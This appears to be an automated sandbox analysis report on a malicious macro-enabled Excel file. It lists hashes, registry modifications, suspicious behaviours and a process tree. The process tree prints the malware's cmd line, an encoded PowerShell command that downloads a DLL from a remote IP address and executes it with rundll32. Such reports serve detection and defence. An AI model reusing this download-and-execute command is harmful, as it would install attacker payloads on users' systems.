RNP-00152.xlsm

General
Target

RNP-00152.xlsm

Filesize

87KB

Completed

21-10-2021 15:14

Score
10/10
MD5

7ac2366ab4515b9f37be3187deea9bc0

SHA1

c4cee812f0fb97c510e149a28c1a55b6c5da2c9e

SHA256

0b149fc1f48da1d2c02d778be120427483403cd7519fc7f69e741288b120cb9d

Malware Config
Signatures 10

Filter: none

Defense Evasion
Discovery
  • Process spawned unexpected child process
    cmd.exe

    Description

    This typically indicates the parent process was compromised via an exploit or macro.

    Reported IOCs

    descriptionpidpid_targetprocesstarget process
    Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process668944cmd.exeEXCEL.EXE
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry
    EXCEL.EXE

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessorEXCEL.EXE
  • Modifies Internet Explorer settings
    EXCEL.EXE

    Tags

    TTPs

    Modify Registry

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft ExcelEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML EditorEXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"EXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""EXCEL.EXE
    Set value (int)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"EXCEL.EXE
    Key deleted\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML EditorEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML EditorEXCEL.EXE
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000EXCEL.EXE
    Key deleted\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shellEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\commandEXCEL.EXE
    Key deleted\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shellEXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\ToolbarEXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNoteEXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"EXCEL.EXE
    Key deleted\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML EditorEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shellEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\editEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\editEXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""EXCEL.EXE
    Key deleted\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMANDEXCEL.EXE
    Key deleted\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\editEXCEL.EXE
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000EXCEL.EXE
    Key deleted\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMANDEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shellEXCEL.EXE
    Key deleted\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\editEXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExtEXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"EXCEL.EXE
    Set value (int)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\commandEXCEL.EXE
  • Modifies registry class
    EXCEL.EXE

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents"EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"EXCEL.EXE
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000EXCEL.EXE
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}EXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\commandEXCEL.EXE
    Key deleted\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\commandEXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"EXCEL.EXE
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft PublisherEXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exeEXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\commandEXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\InterfaceEXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexecEXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topicEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexecEXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton"EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\ = "IScrollbar"EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\editEXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\commandEXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\InterfaceEXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\applicationEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\commandEXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\EditEXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\commandEXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}EXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}EXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"EXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"EXCEL.EXE
    Set value (str)\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"EXCEL.EXE
    Key created\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}EXCEL.EXE
    Key created\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellExEXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"EXCEL.EXE
    Key deleted\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\commandEXCEL.EXE
    Set value (str)\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"EXCEL.EXE
  • Suspicious behavior: AddClipboardFormatListener
    EXCEL.EXE

    Reported IOCs

    pidprocess
    944EXCEL.EXE
  • Suspicious behavior: EnumeratesProcesses
    powershell.exe

    Reported IOCs

    pidprocess
    2004powershell.exe
  • Suspicious use of AdjustPrivilegeToken
    powershell.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege2004powershell.exe
  • Suspicious use of SetWindowsHookEx
    EXCEL.EXE

    Reported IOCs

    pidprocess
    944EXCEL.EXE
    944EXCEL.EXE
    944EXCEL.EXE
    944EXCEL.EXE
    944EXCEL.EXE
  • Suspicious use of WriteProcessMemory
    EXCEL.EXEcmd.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 944 wrote to memory of 668944EXCEL.EXEcmd.exe
    PID 944 wrote to memory of 668944EXCEL.EXEcmd.exe
    PID 944 wrote to memory of 668944EXCEL.EXEcmd.exe
    PID 944 wrote to memory of 668944EXCEL.EXEcmd.exe
    PID 668 wrote to memory of 2004668cmd.exepowershell.exe
    PID 668 wrote to memory of 2004668cmd.exepowershell.exe
    PID 668 wrote to memory of 2004668cmd.exepowershell.exe
    PID 668 wrote to memory of 2004668cmd.exepowershell.exe
    PID 668 wrote to memory of 1416668cmd.exerundll32.exe
    PID 668 wrote to memory of 1416668cmd.exerundll32.exe
    PID 668 wrote to memory of 1416668cmd.exerundll32.exe
    PID 668 wrote to memory of 1416668cmd.exerundll32.exe
    PID 668 wrote to memory of 1416668cmd.exerundll32.exe
    PID 668 wrote to memory of 1416668cmd.exerundll32.exe
    PID 668 wrote to memory of 1416668cmd.exerundll32.exe
Processes 4
  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\RNP-00152.xlsm
    Enumerates system info in registry
    Modifies Internet Explorer settings
    Modifies registry class
    Suspicious behavior: AddClipboardFormatListener
    Suspicious use of SetWindowsHookEx
    Suspicious use of WriteProcessMemory
    PID:944
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
      Process spawned unexpected child process
      Suspicious use of WriteProcessMemory
      PID:668
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        PID:2004
      • C:\Windows\SysWOW64\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
        PID:1416
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
        Discovery
        Execution
          Exfiltration
            Impact
              Initial Access
                Lateral Movement
                  Persistence
                    Privilege Escalation
                      Replay Monitor
                      00:00 00:00
                      Downloads

                      • memory/668-58-0x0000000000000000-mapping.dmp

                        Download

                      • memory/944-55-0x000000002FD21000-0x000000002FD24000-memory.dmp

                        Download

                      • memory/944-56-0x0000000071AB1000-0x0000000071AB3000-memory.dmp

                        Download

                      • memory/944-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

                        Download

                      • memory/944-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

                        Download

                      • memory/1416-62-0x0000000000000000-mapping.dmp

                        Download

                      • memory/2004-59-0x0000000000000000-mapping.dmp

                        Download

                      • memory/2004-60-0x0000000076241000-0x0000000076243000-memory.dmp

                        Download

                      • memory/2004-61-0x0000000002350000-0x0000000002F9A000-memory.dmp

                        Download